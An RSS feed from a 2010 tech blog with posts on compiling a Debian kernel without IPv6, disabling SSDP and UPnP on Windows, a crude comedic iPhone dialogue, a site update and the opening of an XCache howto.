<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Nullamatix - Technology Made Simple</title>
	<atom:link href="http://www.nullamatix.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.nullamatix.com</link>
	<description>Security, Hardware, Development, Information, Productivity, and More</description>
	<lastBuildDate>Tue, 24 May 2011 08:46:49 +0000</lastBuildDate>
	<generator>http://nullamatix.com/</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Disable IPv6 The Right (Debian) Way</title>
		<link>http://www.nullamatix.com/disable-ipv6-the-right-debian-way/</link>
		<comments>http://www.nullamatix.com/disable-ipv6-the-right-debian-way/#comments</comments>
		<pubDate>Fri, 01 Oct 2010 22:41:40 +0000</pubDate>
		<dc:creator>Guy Patterson</dc:creator>
				<category><![CDATA[Debian]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[performance]]></category>
		<category><![CDATA[software]]></category>
		<category><![CDATA[tcp/ip]]></category>

		<guid isPermaLink="false">http://www.nullamatix.com/?p=1115</guid>
		<description><![CDATA[ IPv4 has been in place for around 30 years now and is still a testament to human ingenuity. Unfortunately, IPv4 is limited to approximately 4.3 billion addresses, 0.0.0.0 - 255.255.255.255. As more cities in more countries get connected to the Internet, the address space is quickly being depleted. The use of NAT is a [...]]]></description>
			<content:encoded><![CDATA[<p><a rel="lightbox" href="http://www.nullamatix.com/content/uploads/2010/10/ifconfig_ipv6.png"><img src="http://www.nullamatix.com/content/uploads/2010/10/ifconfig_ipv6-300x98.png" alt="ifconfig output with ipv6 address" title="ifconfig_ipv6" width="300" height="98" class="alignleft size-medium image-1116" /></a> IPv4 has been in place for around 30 years now and is still a testament to human ingenuity. Unfortunately, IPv4 is limited to approximately 4.3 billion addresses, 0.0.0.0 - 255.255.255.255. As more cities in more countries get connected to the Internet, the address space is quickly being depleted. The use of NAT is a creative band-aid to help slow address exhaustion, but IPv6 is the new and improved IP addressing schema intended to replace IPv4. </p>
<p><span id="more-1115"></span></p>
<p><a rel="lightbox" href="http://static.nullamatix.com/content/uploads/2010/10/wireshark_ipv6dns.png"><img src="http://static.nullamatix.com/content/uploads/2010/10/wireshark_ipv6dns-150x150.png" alt="IPv6 DNS Requests in Wireshark AAAA" title="wireshark_ipv6dns" width="150" height="150" class="alignright size-thumbnail image-1124" /></a> With the native implementation in modern operating systems and software, IPv6 support has grown in recent years; however, the existing infrastructure just isn't ready. As a result, a number of applications behave as though an IPv6 network is available, which not only wastes CPU cycles, but can also decrease application response time. Fortunately for Debian users (and other Linux users, too I imagine), there is a way to remove this functionality completely. This entry isn't like those other crap articles you've probably read that just add an alias in aliases.conf or comment out some stuff in blacklist.conf; we're going to compile a custom kernel, and it's easier than you might think.</p>
<h2>Get Ready: Tools, Packages, Environment</h2>
<pre class="brush:bash;wrap-lines:false">
$ sudo aptitude update; sudo aptitude install build-essential fakeroot kernel-package
$ sudo mkdir /usr/src/KERNEL
$ sudo chown -R some_user:some_group /usr/src/KERNEL
$ cd /usr/src/KERNEL
$ sudo apt-get source linux-source-2.6.32
$ sudo chown -R some_user:some_group /usr/src/KERNEL; cd linux-2.6-2.6.32
$ cp /boot/config-2.6.32-5-amd64 .config
$ export CONCURRENCY_LEVEL=5
$ vim Makefile</pre>
<p>Before you start asking, "What the hell is all that?", I'll go over each command. The first command updates the apt package cache and installs the packages we'll need to configure and compile our new IPv6less kernel. The second command creates a directory for the kernel source and the third makes sure the normal user (not root!) owns the directory. </p>
<p>Next, we change directories to the new folder and use apt-get to pull down the kernel source code. The file and folder ownership is then recursively updated so the normal user (not root!) owns the files. We then change directories to the kernel source folder we downloaded with apt-get, linux-2.6.2.6.32. </p>
<p>The existing kernel config is then copied over to, <em>.config</em>, which is what we'll use as a basis for the new kernel. Replace "2.6.32-5-amd64" with YOUR existing kernel. Execute "uname -r" to find this out. For multi-core processors, set the CONCURRENCY_LEVEL environmental variable to ensure make-kpkg utilizes all available cores when compiling our new kernel. Quad cores can use "5" (as shown above) and dual core can use "3" - adjust accordingly. There are disputes about whether or not this actually decreases compilation time, but I'm not too concerned since setting it doesn't hurt anything. </p>
<p>Finally, open /usr/src/KERNEL/linux-2.6-2.6.32/Makefile and change the "EXTRAVERSION" variable to whatever you prefer. Below is what I put in mine: </p>
<pre class="brush:bash;gutter:false;highlight:4">
VERSION = 2
PATCHLEVEL = 6
SUBLEVEL = 32
EXTRAVERSION = -5-amd64-NoIP6
NAME = Man-Eating Seals of Antiquity</pre>
<h2>Configure The Replacement Kernel</h2>
<pre class="brush:bash;gutter:false">$ make oldconfig
  HOSTCC  scripts/basic/fixdep
  HOSTCC  scripts/basic/docproc
  HOSTCC  scripts/basic/hash
  HOSTCC  scripts/kconfig/conf.o
  HOSTCC  scripts/kconfig/kxgettext.o
  SHIPPED scripts/kconfig/zconf.tab.c
  SHIPPED scripts/kconfig/lex.zconf.c
  SHIPPED scripts/kconfig/zconf.hash.c
  HOSTCC  scripts/kconfig/zconf.tab.o
  HOSTLD  scripts/kconfig/conf
scripts/kconfig/conf -o arch/x86/Kconfig
#
# using defaults found in /boot/config-2.6.32-5-amd64
#
#
# configuration written to .config
#
$ make xconfig</pre>
<p> Find the section pictured below (Networking support -&gt; Networking options -&gt; TCP/IP networking -&gt; The IPv6 protocol -&gt; The IPv6 protocol") and unselect/uncheck the "The IPv6 protocol" option.
<p align="center"><a rel="lightbox" href="http://static.nullamatix.com/content/uploads/2010/10/xconfig_ipv6.png"><img src="http://static.nullamatix.com/content/uploads/2010/10/xconfig_ipv6-300x199.png" alt="Networking support -&gt; Networking options -&gt; TCP/IP networking -&gt; The IPv6 protocol -&gt; The IPv6 protocol" title="xconfig_ipv6" width="300" height="199" class="size-medium image-1129" /></a></p>
<p> There are dozens of options you can disable for increased performance. For example, if you know you'll never install or use a bluetooth device, why bother compiling support into the kernel? What about joysticks or old 56k modem drivers? Don't need 'em? Get rid of 'em. I've spent an hour or two going through the options one by one and believe it was time well spent. </p>
<h2>Start Building The IPv6less Kernel</h2>
<pre class="brush:bash;wrap-lines:false">$ cd .. (move into /usr/src/KERNEL, type: pwd to confirm)
$ mv linux-2.6-2.6.32 linux-2.6.32.NoIP6; cd linux-2.6.32.NoIP6/
$ make-kpkg clean --arch=amd64 --subarch=x86_64
$ fakeroot make-kpkg --initrd --revision 2 kernel_image kernel_headers --arch=amd64 --subarch=x86_64</pre>
<p>This is the part that takes a while... Go grab some coffee or something. Once the kernel is compiled, cd back into /usr/src/KERNEL and look for the following: </p>
<pre class="brush:bash;wrap-lines:false;gutter:false">
$ ls -lah /usr/src/KERNEL |grep .deb
-rw-r--r--  6.1M Aug  3 10:57 linux-headers-2.6.32-5-amd64-NoIP6_2_amd64.deb
-rw-r--r--   22M Aug  3 10:56 linux-image-2.6.32-5-amd64-NoIP6_2_amd64.deb
$</pre>
<p>Hooray! If no, goto: 1. </p>
<h2>Build nVidia Driver Support</h2>
<p>If you have an nVidia card and want to build the drivers before booting into your new IPv6less kernel, it's really easy.</p>
<pre class="brush:bash;wrap-lines:false;gutter:false">$ cd .. (move back into /usr/src/KERNEL)
$ sudo m-a -t -k linux-2.6.32.NoIP6/ -l linux-2.6.32.NoIP6 a-b nvidia</pre>
<p>If that doesn't work, add the "non-free" section to your apt sources.list, run aptitude update, and make sure the "nvidia-kernel-source" and "nvidia-kernel-common" packages are installed. Then try again. </p>
<h2>Install The New Kernel</h2>
<p>Wow, FINALLY, right? This is the easiest and most rewarding part of the entire process. </p>
<pre class="brush:bash;wrap-lines:false;gutter:false">
$ sudo dpkg -i linux-headers-2.6.32-5-amd64-NoIP6_2_amd64.deb linux-image-2.6.32-5-amd64-NoIP6_2_amd64.deb
$ cat /boot/grub/grub.cfg | grep -i 'noip6'
or for Lenny...
$ cat /boot/grub/menu.lst | grep -i 'noip6'
$ sudo shutdown -r -t 0 now
After reboot to confirm:
$ uname -a
Linux q9550.nullamatix.com 2.6.32-5-amd64-NoIP6 #1 SMP PREEMPT Fri Oct 1 10:45:38 EDT 2010 x86_64 GNU/Linux
$ ifconfig eth0
eth0      Link encap:Ethernet  HWaddr 00:01:02:03:00:01
          inet addr:192.168.254.200  Bcast:192.168.254.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:214841 errors:0 dropped:0 overruns:0 frame:0
          TX packets:214841 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:10752020 (10.2 MiB)  TX bytes:10752020 (10.2 MiB)
</pre>
<p>Notice the lack of an "inet6" address, now. Win.</p>
<h2>Squeeze sources.list For nVidia Support</h2>
<pre class="brush:bash;wrap-lines:false;gutter:false">
#############################################################
## add contrib &#038; non-free for built-in nvidia support     ###
#############################################################
$ grep '^deb' /etc/apt/source.list
deb http://ftp.us.debian.org/debian/ squeeze main contrib non-free
deb-src http://ftp.us.debian.org/debian/ squeeze main contrib non-free
deb http://security.debian.org/ squeeze/updates main contrib non-free
deb-src http://security.debian.org/ squeeze/updates main contrib non-free</pre>
<p>This was written several weeks after I did this on my own system. If I missed something, something's screwed up, or there's a better way, please let me know by submitting a comment or emailing me.</p>
<h3>See Also:</h3><ul class="related_post"><li>03/05/2008 -- <a href="http://www.nullamatix.com/whats-your-computer-connecting-to/" title="What&#8217;s Your Computer Connecting To?">What&#8217;s Your Computer Connecting To?</a><br /><strong>Excerpt</strong>: "A security conscious buddy of mine is an advocate of the Sysinternals freeware utilities. For those of you who don't know, Mark Russinovich, one of the Sysinternals co founders, was the guy that discovered and exposed the Sony BMG root kit back in 2005. In ..."<br /></li><li>02/22/2008 -- <a href="http://www.nullamatix.com/us-internet-service-providers-should-be-ashamed/" title="U.S. Internet Service Providers Should Be Ashamed">U.S. Internet Service Providers Should Be Ashamed</a><br /><strong>Excerpt</strong>: "The majority of Internet users are aware of what's going on with Comcast and their throttling practices, the idea of a tiered and non neutral Internet, immunity to the telco's for warrantless wiretapping, and countless other crimes that go completely against ..."<br /></li><li>02/15/2008 -- <a href="http://www.nullamatix.com/picture-the-importance-of-a-good-firewall/" title="Picture: The Importance of a Good Firewall">Picture: The Importance of a Good Firewall</a><br /><strong>Excerpt</strong>: "This is what happened when I took down my network's defenses the other day. Fortunately my Windows machines were patched, or I might have been hit with a nasty remote exploit, or eighty. Click the thumbnail for the larger version.

Those are all incoming ..."<br /></li><li>10/17/2007 -- <a href="http://www.nullamatix.com/finally-a-resolution-to-comcasts-connectivity-latency-issue-nightmare/" title="Finally, a Resolution to Comcast&#8217;s Connectivity &#038; Latency Issue Nightmare">Finally, a Resolution to Comcast&#8217;s Connectivity &#038; Latency Issue Nightmare</a><br /><strong>Excerpt</strong>: "Comcast is slowly training their loyal customers to embrace what many are calling the end of the free, neutral, Internet. Several individuals, myself included, continuously experience a diminishing quality of service from Comcast. A couple examples include: ..."<br /></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.nullamatix.com/disable-ipv6-the-right-debian-way/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>iPhone4 vs HTC Evo &#8211; 3G and Has the WiFis</title>
		<link>http://www.nullamatix.com/iphone4-vs-htc-3g-has-wifis/</link>
		<comments>http://www.nullamatix.com/iphone4-vs-htc-3g-has-wifis/#comments</comments>
		<pubDate>Wed, 29 Sep 2010 11:13:38 +0000</pubDate>
		<dc:creator>Guy Patterson</dc:creator>
				<category><![CDATA[Off-topic]]></category>
		<category><![CDATA[humor]]></category>
		<category><![CDATA[video]]></category>

		<guid isPermaLink="false">http://www.nullamatix.com/?p=1066</guid>
		<description><![CDATA[ Know anyone with an iPhone? Are they anything like the chic in this video? Not only is the video hilarious, it also gave me an excuse to setup mod_flv_streaming. Despite the cartoon appearance the discussion is what some would consider, "adult language." Viewer discretion is advised... Also - almost forgot, more G-Bs and 3 [...]]]></description>
			<content:encoded><![CDATA[<p><a rel="lightbox" href="http://static.nullamatix.com/content/uploads/2010/09/loliPhone4.png"><img src="http://static.nullamatix.com/content/uploads/2010/09/loliPhone4-150x150.png" alt="BIGGER G-Bs" title="loliPhone4" width="120" height="105" class="alignleft size-thumbnail image-1087" /></a> Know anyone with an iPhone? Are they anything like the chic in this video? Not only is the video hilarious, it also gave me an excuse to setup mod_flv_streaming. Despite the cartoon appearance the discussion is what some would consider, "adult language." Viewer discretion is advised... Also - almost forgot, more G-Bs and 3 wishes, even if one of those wishes is for the iPhone. Just watch and enjoy :] <span id="more-1066"></span> </p>
<p>A couple folks have reported the video isn't playing for them. If you're one of 'em, here's <a rel="nofollow external" href="http://www.youtube.com/v/FL7yD-0pqZg">a link to the original</a>. </p>
<p><strong>iPhone 4 vs. HTC Evo:</strong></p>
<p>Salesman: Welcome to Phone-Mart; how may I help you?</p>
<p>Customer: iPhone 4. Where is the iPhone 4? I need an iPhone 4.</p>
<p>S: Oh I'm very sorry but we are currently sold out. However we did finally get some more HTC Evo's in.</p>
<p>C: What? What is that? Is it an iPhone?</p>
<p>S: No. It is that 4G Phone on Sprint.<object id="iphone4" style="margin-right:6px" class="alignleft" width="330" height="248" type="application/x-shockwave-flash" data="http://www.nullamatix.com/v.swf"><param name="movie" value="http://www.nullamatix.com/v.swf" /><param name="quality" value="high" /><param name="allowFullScreen" value="true" /><param name="flashVars" value="file=/dl/354f52f9bcdf00f66eeff39fc92dd22e/51e04e12/iphone4.flv" /></object></p>
<p>C: If it's not an iPhone, why would I want it?</p>
<p>S: Well it's similar to an iPhone, but has a bigger screen...</p>
<p>C: I don't care</p>
<p>S: The internet speeds are around 3 times faster...</p>
<p>C: I don't care</p>
<p>S: It has a higher resolution camera on both the front and the back...</p>
<p>C: I don't care</p>
<p>S: and it doesn't require you to be on WiFi to use video chat...</p>
<p>C: I don't care</p>
<p>S: it's battery is replaceable; as is the memory card...</p>
<p>C: I don't care</p>
<p>S: it is highly customizable. Everything from the widgets to the icons to the fonts and even has video wallpaper.</p>
<p>C: I don't care</p>
<p>S: the monthly bill is cheaper...</p>
<p>C: I don't care</p>
<p>S: it prints money.</p>
<p>C: I don't care</p>
<p>S: it can grant up to three wishes; even if one of those wishes is for the iPhone...</p>
<p>C: I don't care</p>
<p>S: it has an app that will build you an island and then it transforms into a jet and flies you there...</p>
<p>C: I don't care</p>
<p>S: It's Indestructible...</p>
<p>C: I don't care about any of that</p>
<p>S: Okay fine. then what the hell entices you about the iPhone 4, if you don't mind me asking?</p>
<p>C: It is an iPhone</p>
<p>S: You do realize that doesn't mean anything? It's a brand. They could put out a brick and call it an iPhone if they wanted to.</p>
<p>C: Yes. But it's the best phone</p>
<p>S: Can you explain how?</p>
<p>C: I can download apps to it.</p>
<p>S: Big deal. My eight year old niece's Boost mobile phone has apps on it.</p>
<p>C: It's 3G. And has the Wi-Fi's.</p>
<p>S: WTF - Do you even know what that means?</p>
<p>C: Um.It canIIt...Um</p>
<p>S: Listen I'm out of the IPhone anyway. I guess if you're fine using AT&#038;T's network and don't mind paying for the plan and the phone and also don't mind having a brand new phone that's already behind the curve, then I can put you on our reservation list</p>
<p>C: No. I'll just try somewhere else. I have to have it today.</p>
<p>S: Are you serious? Not only are you so stupid that you still want this device, but you are also so retarded that you think you can just waltz into any store and purchase one on launch day without a pre-order?</p>
<p>C: Yes</p>
<p>S: I think I think I need to go chop off my own **** now. Yes. I think I will. I don't need my children growing up in a world populated by **** like you.</p>
<p>C: I need an iPhone 4</p>
<p>S: If you don't leave I'm going to go find one for you and shove it so far up your ...</p>
<p>C: I want the one with the bigger GB's.</p>
<p>S: Oh God. I think I just had an aneurysm. I'm dying. Are you happy? Your stupidity has killed me. Now my cat is homeless. I'm no longer alive. I'm dead.</p>
<p>C: I need the white one. Hello. I need one now please. Can you waive the activation fee? Does it come with a case? I also need you to hook up my Bluetooth to it. Hello? Hello? I'll go somewhere else. My sister said Walgreens has them. Goodbye.</p>
<h3>See Also:</h3><ul class="related_post"><li>05/03/2009 -- <a href="http://www.nullamatix.com/rackmount-hammock-server-room-accessory/" title="Rackmount Hammock &#8211; Server Room Accessory">Rackmount Hammock &#8211; Server Room Accessory</a><br /><strong>Excerpt</strong>: "In response to the redditor seeking appropriate server room accessories, behold!:

Did I Win The Rackmount Hammock Game?

	Hammock in a Server Room
	Game Server Room with a Hammock
	Data Center with a Hammock"<br /></li><li>01/21/2008 -- <a href="http://www.nullamatix.com/linux-requires-windows-no-seriously/" title="Linux Requires Windows &#8211; No, Seriously">Linux Requires Windows &#8211; No, Seriously</a><br /><strong>Excerpt</strong>: "Just when you thought you've seen everything, the Internet comes to the rescue. Enter: jerryleecooper and boy he sure has a special treat for everyone. Here's an excerpt of this guy's beautiful logic.
You are kidding arent you ? Are you saying that this ..."<br /></li><li>01/20/2008 -- <a href="http://www.nullamatix.com/hackers-lay-off-death-video/" title="Hackers Lay Off Death Video">Hackers Lay Off Death Video</a><br /><strong>Excerpt</strong>: "Anyone else remember this? Took place in June of 2001. Makes me feel old.

After a four-minute glitch preparing the video link between Indiana and Oklahoma, the families of the victims of the Oklahoma City bombing viewed an encrypted signal of Timothy ..."<br /></li><li>01/02/2008 -- <a href="http://www.nullamatix.com/nullamatix-visitors-are-major-geeks/" title="Nullamatix Visitors Are Major Geeks">Nullamatix Visitors Are Major Geeks</a><br /><strong>Excerpt</strong>: "One of my readers informed me,
This is what I do when there aren't new posts on Nullamatix...


Thanks for sharing! I've had quite a few negative remarks as a result of not posting as frequently. I'll have to do something about that. I am open to ..."<br /></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.nullamatix.com/iphone4-vs-htc-3g-has-wifis/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Guest Submission: Howto Disable SSDP</title>
		<link>http://www.nullamatix.com/howto-disable-simple-service-discovery-protocol/</link>
		<comments>http://www.nullamatix.com/howto-disable-simple-service-discovery-protocol/#comments</comments>
		<pubDate>Mon, 27 Sep 2010 03:36:55 +0000</pubDate>
		<dc:creator>Guy Patterson</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[broadcast]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[lan]]></category>
		<category><![CDATA[netbios]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[Windows XP]]></category>
		<category><![CDATA[wireshark]]></category>

		<guid isPermaLink="false">http://www.nullamatix.com/?p=1037</guid>
		<description><![CDATA[ SSDP - Simple Service Discovery Protocol - can actually turn out to be a disservice, if this protocol acts in the way pictured to the left. As you can see from the Wireshark capture, SSDP is causing some unnecessary congestion in my LAN; in fact, it's not unusual for SSDP to broadcast about 10 [...]]]></description>
			<content:encoded><![CDATA[<p><a rel="lightbox" href="http://static.nullamatix.com/content/uploads/2010/09/SSDPimg.png"><img src="http://static.nullamatix.com/content/uploads/2010/09/SSDPimg-300x97.png" alt="SSDP Packet Capture" title="SSDPimg" width="300" height="97" class="alignleft size-medium image-1038" /></a> SSDP - Simple Service Discovery Protocol - can actually turn out to be a disservice, if this protocol acts in the way pictured to the left. As you can see from the Wireshark capture, SSDP is causing some unnecessary congestion in my LAN; in fact, it's not unusual for SSDP to broadcast about 10 frames every couple of minutes. That's annoying, and if it's causing the same problem for you, the following instructions may help stop this spam.<span id="more-1037"></span></p>
<table>
<tr>
<td rowspan="2">
<ol>
<li>In Windows: 'Start' > 'Run...' > type in 'services.msc' into the text-input field and press 'Enter'.</li>
<li>Locate the redundantly named "SSDP Discovery Protocol" > right click > left click 'Properties'</li>
<li>Under the 'General' tab, locate 'Startup type.' Select 'Disable,' then click 'Apply.' </li>
<li>Locate "Universal Plug and Play" and repeat steps 2-3.</li>
<li>If this solves your problem, good for you. If this doesn't solve your problem, proceed to step 6.</li>
<li>Type your private default gateway address* into the address bar of your internet browser.</li>
<li>Submit user name &#038; password to login into your router [for the purpose of this Howto, a Linksys will be used].</li>
<li>Go to the 'Password tab' and identify 'UPnP Services.' Check 'Disable,' then select 'Apply.' </li>
<li>Logout of the router, or close your browser tab and clear the cookies from this session.</li>
</ol>
</td>
<td>
<a rel="lightbox" href="http://static.nullamatix.com/content/uploads/2010/09/services_msc.png"><img src="http://www.nullamatix.com/content/uploads/2010/09/services_msc-150x150.png" alt="MS Services MMC and SSDP" title="services_msc" width="150" height="150" class="alignright size-thumbnail image-1041" /></a>
</td>
</tr>
<tr>
<td>
<a rel="lightbox" href="http://static.nullamatix.com/content/uploads/2010/09/router.png"><img src="http://static.nullamatix.com/content/uploads/2010/09/router-150x150.png" alt="Linksys Router Admin Page" title="router" width="150" height="150" class="aligncenter size-thumbnail image-1048" /></a>
</td>
</tr>
</table>
<p>End.</p>
<p> * private default gateway can be found by:</p>
<p>	a) 'Start' > 'Run...' > type 'cmd' > press 'Enter'</p>
<p>	b) Type 'ipconfig' into the command prompt > press 'Enter'</p>
<p>	c) Locate the ip address after 'Default Gateway:'</p>
<p><strong><em>This is a guest post by bocifus.</em></strong></p>
<p>Editor's Note: Unfortunately, Bocifus doesn't have a web-site or I would have passed on some link juice... Thanks for the submission! </p>
<h3>See Also:</h3><ul class="related_post"><li>08/17/2009 -- <a href="http://www.nullamatix.com/howto-windows-xp-server-2003-null-route/" title="Howto: Windows XP/Server 2003 Null Route">Howto: Windows XP/Server 2003 Null Route</a><br /><strong>Excerpt</strong>: "Linux and most other Unix derivatives provide the ability to create null routes. Let's say for instance a Linux server is being attacked by hundreds of IPs from 124.151.0.0/16. No problem.. 

[root@nullamatix ~]# route add -net 124.151.0.0/16 ..."<br /></li><li>12/17/2007 -- <a href="http://www.nullamatix.com/howto-remote-desktop-at-work-evading-a-firewall/" title="Howto: Remote Desktop At Work, Evading A Firewall">Howto: Remote Desktop At Work, Evading A Firewall</a><br /><strong>Excerpt</strong>: "A lot of organizations intentionally block remote desktop capabilities. With that in mind, please be aware that following the instructions in this post may lead to consequences depending on policies outlined within your organization. This guide will ..."<br /></li><li>03/05/2008 -- <a href="http://www.nullamatix.com/whats-your-computer-connecting-to/" title="What&#8217;s Your Computer Connecting To?">What&#8217;s Your Computer Connecting To?</a><br /><strong>Excerpt</strong>: "A security conscious buddy of mine is an advocate of the Sysinternals freeware utilities. For those of you who don't know, Mark Russinovich, one of the Sysinternals co founders, was the guy that discovered and exposed the Sony BMG root kit back in 2005. In ..."<br /></li><li>02/23/2008 -- <a href="http://www.nullamatix.com/internet-and-computer-networking-security-tips/" title="Internet and Computer Networking Security Tips">Internet and Computer Networking Security Tips</a><br /><strong>Excerpt</strong>: "Note: This is a guest post by Scott Hughes, administrator of Philosophy Forums.

For most experienced computer users, basic security is common sense. Computer professionals and computer geeks usually know how to protect their computer and privacy. But most ..."<br /></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.nullamatix.com/howto-disable-simple-service-discovery-protocol/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Comment Posting Issue and Other Misc.</title>
		<link>http://www.nullamatix.com/comment-posting-issue-since-july-24th/</link>
		<comments>http://www.nullamatix.com/comment-posting-issue-since-july-24th/#comments</comments>
		<pubDate>Mon, 30 Aug 2010 14:00:10 +0000</pubDate>
		<dc:creator>Guy Patterson</dc:creator>
				<category><![CDATA[Debian]]></category>
		<category><![CDATA[Development]]></category>
		<category><![CDATA[Off-topic]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://www.nullamatix.com/?p=1027</guid>
		<description><![CDATA[ Unfortunately, if you've posted a comment to a Nullamatix.com post between July 24th and August 29th, they weren't submitted to the queue for approval. This was due to a php.ini setting modification in an effort to enhance security. My apologies if anyone wrote a novel during this time frame. The issue has been resolved [...]]]></description>
			<content:encoded><![CDATA[<p><a href="/content/uploads/2010/08/rapid7-logo.png" title="Rapid7 Logo" rel="lightbox"><img src="http://www.nullamatix.com/content/uploads/2010/08/rapid7-logo.png" alt="Rapid7 Logo" title="rapid7-logo" width="120" height="16" class="alignleft size-full image-1031" style="padding-top:10px" /></a> Unfortunately, if you've posted a comment to a Nullamatix.com post between July 24th and August 29th, they weren't submitted to the queue for approval. This was due to a php.ini setting modification in an effort to enhance security. My apologies if anyone wrote a novel during this time frame. The issue has been resolved and the comment submission form is now working as intended.<span id="more-1027"></span></p>
<h2>Rapid7's NeXpose</h2>
<p>In other news, <a href="http://www.rapid7.com/" rel="external">NeXpose Enterprise from Rapid7</a> is fcking awesome. If you're a Qualys fan or a security professional, NeXpose is one of the better vulnerability, policy, and remediation management tools I've seen in a long time. In the interest of full disclosure, Rapid7 did <strong>not</strong> pay or ask me to say the above... </p>
<h2>WordPress Themes</h2>
<p>For the past few weeks I've been working on a WordPress theme previewer on and off (in all my spare time). Why? Most WordPress theme sites suck and I prefer relying on internal (LAN) resources as much as possible. The archive currently has 2,450+ themes available and will have more if/when the project is made available to the public. Still need to work on a few things to get polished up for "production" use. </p>
<h2>Debian Squeeze</h2>
<p>Debian's Squeeze, version 6.0 of my favorite GNU/Linux distribution, is also fcking awesome. The boot-up time on my Q9550 was cut in half, loads of applications have been updated, and I'm happier than a pig in mud. Kudos and my sincerest appreciation to the folks that continue to make Debian happen - you're my heroes. </p>
<p>Loads of other stuff is happening and I'll do my best to get some more posts out, but I mainly wanted to notify everyone about the comment issue.</p>
<h3>See Also:</h3><ul class="related_post"><li>10/01/2010 -- <a href="http://www.nullamatix.com/disable-ipv6-the-right-debian-way/" title="Disable IPv6 The Right (Debian) Way">Disable IPv6 The Right (Debian) Way</a><br /><strong>Excerpt</strong>: "IPv4 has been in place for around 30 years now and is still a testament to human ingenuity. Unfortunately, IPv4 is limited to approximately 4.3 billion addresses, 0.0.0.0 - 255.255.255.255. As more cities in more countries get connected to the Internet, the ..."<br /></li><li>04/11/2010 -- <a href="http://www.nullamatix.com/howto-xcache-in-a-lighttpd-chroot-on-debian/" title="Howto: XCache in a Lighttpd Chroot on Debian">Howto: XCache in a Lighttpd Chroot on Debian</a><br /><strong>Excerpt</strong>: "Whether you're pressed for resources on a virtual/dedicated server, or simply looking for ways to improve web application performance, XCache is guaranteed to produce the desired result. Within minutes of installing XCache: page load times were cut in half, ..."<br /></li><li>01/21/2010 -- <a href="http://www.nullamatix.com/discontinued-security-support-debian-etch/" title="Discontinued Security Support for Debian 4.0">Discontinued Security Support for Debian 4.0</a><br /><strong>Excerpt</strong>: "One year after the release of Debian GNU/Linux 5.0 alias 'lenny' and nearly three years after the release of Debian GNU/Linux 4.0 alias 'etch' the security support for the old distribution (4.0 alias 'etch') is coming to an end next month. The Debian project ..."<br /></li><li>01/10/2010 -- <a href="http://www.nullamatix.com/solution-chown-invalid-user-www-datawww-data/" title="Solution: chown: invalid user: www-data:www-data">Solution: chown: invalid user: www-data:www-data</a><br /><strong>Excerpt</strong>: "Ran into this issue after getting rid of the www-data user and group. The solution is simple and doesn't involve adding the account/group, assuming the objective is to run Lighttpd as a different user (not www-data). If the intention is to run Lighttpd with ..."<br /></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.nullamatix.com/comment-posting-issue-since-july-24th/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Howto: XCache in a Lighttpd Chroot on Debian</title>
		<link>http://www.nullamatix.com/howto-xcache-in-a-lighttpd-chroot-on-debian/</link>
		<comments>http://www.nullamatix.com/howto-xcache-in-a-lighttpd-chroot-on-debian/#comments</comments>
		<pubDate>Sun, 11 Apr 2010 18:13:23 +0000</pubDate>
		<dc:creator>Guy Patterson</dc:creator>
				<category><![CDATA[Debian]]></category>
		<category><![CDATA[Development]]></category>
		<category><![CDATA[chroot]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[http]]></category>
		<category><![CDATA[Httpd]]></category>
		<category><![CDATA[Lighttpd]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.nullamatix.com/?p=1007</guid>
		<description><![CDATA[ Whether you're pressed for resources on a virtual/dedicated server, or simply looking for ways to improve web application performance, XCache is guaranteed to produce the desired result. Within minutes of installing XCache: page load times were cut in half, PHP/MySQL RAM consumption was under control, and overall PHP rendering/output performance dramatically improved. In this [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://static.nullamatix.com/content/uploads/2010/04/php-logo.gif" alt="PHP Logo" title="php-logo" width="120" height="67" class="alignleft size-full image-1008" /> Whether you're pressed for resources on a <a href="/go/vpslink.php" title="10% off the lifetime of your Virtual Server at VPSlink">virtual/dedicated server</a>, or simply looking for ways to improve web application performance, <a href="http://xcache.lighttpd.net/" title="XCache Official Site">XCache</a> is guaranteed to produce the desired result. Within minutes of installing XCache: page load times were cut in half, PHP/MySQL RAM consumption was under control, and overall PHP rendering/output performance dramatically improved. In this post I'll go over the process of installing, configuring, and enabling XCache in a php5-cgi+Lighttpd chroot jail on a Debian Lenny web server.<span id="more-1007"></span></p>
<h3>What is XCache?</h3>
<p>Hopefully you're already aware, but just in case... :</p>
